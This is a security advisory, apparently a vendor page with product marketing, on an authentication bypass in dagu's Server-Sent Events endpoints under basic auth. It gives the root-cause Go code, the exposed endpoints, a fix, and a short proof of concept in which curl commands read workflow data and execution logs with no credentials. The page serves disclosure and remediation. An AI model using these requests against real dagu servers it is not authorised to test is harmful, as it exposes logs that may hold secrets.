CVE-2026-31882

CVE-2026-31882 is a high-severity missing authentication for critical function vulnerability in dagu (npm), affecting versions < 2.2.4. It is fixed in 2.2.4.

Summary

SSE Authentication Bypass in Basic Auth Mode

When Dagu is configured with HTTP Basic authentication (DAGU_AUTH_MODE=basic), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status, bypassing the authentication that protects the REST API.

Severity

HIGH (CVSS 3.1: 7.5, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Affected Versions

  • dagu v2.2.3 (latest) and likely all versions with basic auth support

Affected Component

internal/service/frontend/server.go, buildStreamAuthOptions() function (lines 1177–1201)

Root Cause

The buildStreamAuthOptions() function builds authentication options for SSE/streaming endpoints. When the auth mode is basic, it returns an auth.Options struct with BasicAuthEnabled: true but AuthRequired defaults to false (Go zero value):

// server.go:1195-1201
if authCfg.Mode == config.AuthModeBasic {
    return auth.Options{
        Realm:            realm,
        BasicAuthEnabled: true,
        Creds:            map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
        // AuthRequired is NOT set, defaults to false
    }
}

The authentication middleware at internal/service/frontend/auth/middleware.go:181-183 allows unauthenticated requests when AuthRequired is false:

// No credentials provided
// If auth is not required, allow the request through
if !opts.AuthRequired {
    next.ServeHTTP(w, r)
    return
}

The developers left a FIXME comment (line 1193) acknowledging this issue:

// FIXME: add a session-token mechanism for basic-auth users so browser
// EventSource requests can authenticate via the ?token= query parameter.

Exposed SSE Endpoints

All SSE routes are affected (server.go:1004-1019):

Endpoint Data Leaked
/api/v1/events/dags All DAG names, descriptions, file paths, schedules, tags, execution status
/api/v1/events/dags/{fileName} Individual DAG configuration details
/api/v1/events/dags/{fileName}/dag-runs DAG execution history
/api/v1/events/dag-runs All active DAG runs across the system
/api/v1/events/dag-runs/{name}/{dagRunId} Specific DAG run status and node details
/api/v1/events/dag-runs/{name}/{dagRunId}/logs Execution logs (may contain secrets, credentials, API keys)
/api/v1/events/dag-runs/{name}/{dagRunId}/logs/steps/{stepName} Step-level stdout/stderr logs
/api/v1/events/queues Queue status and pending work items
/api/v1/events/queues/{name}/items Queue item details
/api/v1/events/docs-tree Documentation tree
/api/v1/events/docs/* Documentation content

Additionally, the Agent SSE stream uses the same auth options (server.go:1166).

Proof of Concept

Setup

# Start Dagu with basic auth
export DAGU_AUTH_MODE=basic
export DAGU_AUTH_BASIC_USERNAME=admin
export DAGU_AUTH_BASIC_PASSWORD=secret123
dagu start-all

Verify REST API requires auth

# Regular API, returns 401 Unauthorized
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/api/v1/dags
# Output: 401

# With credentials, returns 200
curl -s -o /dev/null -w "%{http_code}" -u admin:secret123 http://localhost:8080/api/v1/dags
# Output: 200

Exploit SSE bypass

# SSE endpoint WITHOUT any credentials, returns 200 with full data
curl -s -N http://localhost:8080/api/v1/events/dags

Output (truncated):

event: connected
data: {"topic":"dagslist:"}

event: data
data: {"dags":[{"dag":{"name":"example-01-basic-sequential","schedule":[],...},
"filePath":"/home/user/.config/dagu/dags/example-01-basic-sequential.yaml",
"latestDAGRun":{"dagRunId":"...","status":4,"statusLabel":"succeeded",...}},
...]}
# Access execution logs without credentials
curl -s -N http://localhost:8080/api/v1/events/dag-runs/{dagName}/{runId}/logs

Output:

event: data
data: {"schedulerLog":{"content":"...step execution details, parameters, outputs..."},"stepLogs":[...]}

Wrong credentials are rejected

# Invalid credentials, returns 401 (auth validates IF provided, but doesn't REQUIRE it)
curl -s -o /dev/null -w "%{http_code}" -u wrong:wrong http://localhost:8080/api/v1/events/dags
# Output: 401

Impact

An unauthenticated network attacker can:

  1. Enumerate all workflows: DAG names, descriptions, file paths, schedules, and tags
  2. Monitor execution in real-time: Track which workflows are running, their status, and when they complete
  3. Read execution logs: Access stdout/stderr of workflow steps, which commonly contain sensitive data (API keys, database credentials, tokens, internal hostnames)
  4. Map infrastructure: File paths and workflow configurations reveal server directory structure and deployment details
  5. Observe queue state: Understand pending work items and system load

This is especially critical in environments where:

  • Workflows process sensitive data (credentials, PII, financial data)
  • DAG parameters contain secrets passed at runtime
  • Log output includes API responses or database queries with sensitive content

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

CVE-2026-31882 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.2.4); upgrading removes the vulnerable code path.

Affected versions

dagu (< 2.2.4)

Security releases

dagu → 2.2.4 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Set AuthRequired: true for basic auth mode and implement the session-token mechanism referenced in the FIXME comment:

if authCfg.Mode == config.AuthModeBasic {
    return auth.Options{
        Realm:            realm,
        BasicAuthEnabled: true,
        AuthRequired:     true,  // Require authentication
        Creds:            map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
    }
}

For browser SSE compatibility, implement a session token that can be passed via the ?token= query parameter (the QueryTokenMiddleware already exists at auth/middleware.go:39 to convert query params to Bearer tokens).

Frequently Asked Questions

  1. What is CVE-2026-31882? CVE-2026-31882 is a high-severity missing authentication for critical function vulnerability in dagu (npm), affecting versions < 2.2.4. It is fixed in 2.2.4. A critical operation is accessible without requiring any authentication.
  2. How severe is CVE-2026-31882? CVE-2026-31882 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of dagu are affected by CVE-2026-31882? dagu (npm) versions < 2.2.4 is affected.
  4. Is there a fix for CVE-2026-31882? Yes. CVE-2026-31882 is fixed in 2.2.4. Upgrade to this version or later.
  5. Is CVE-2026-31882 exploitable, and should I be worried? Whether CVE-2026-31882 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-31882 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-31882? Upgrade dagu to 2.2.4 or later.

Other vulnerabilities in dagu

Stop the waste.
Protect your environment with Kodem.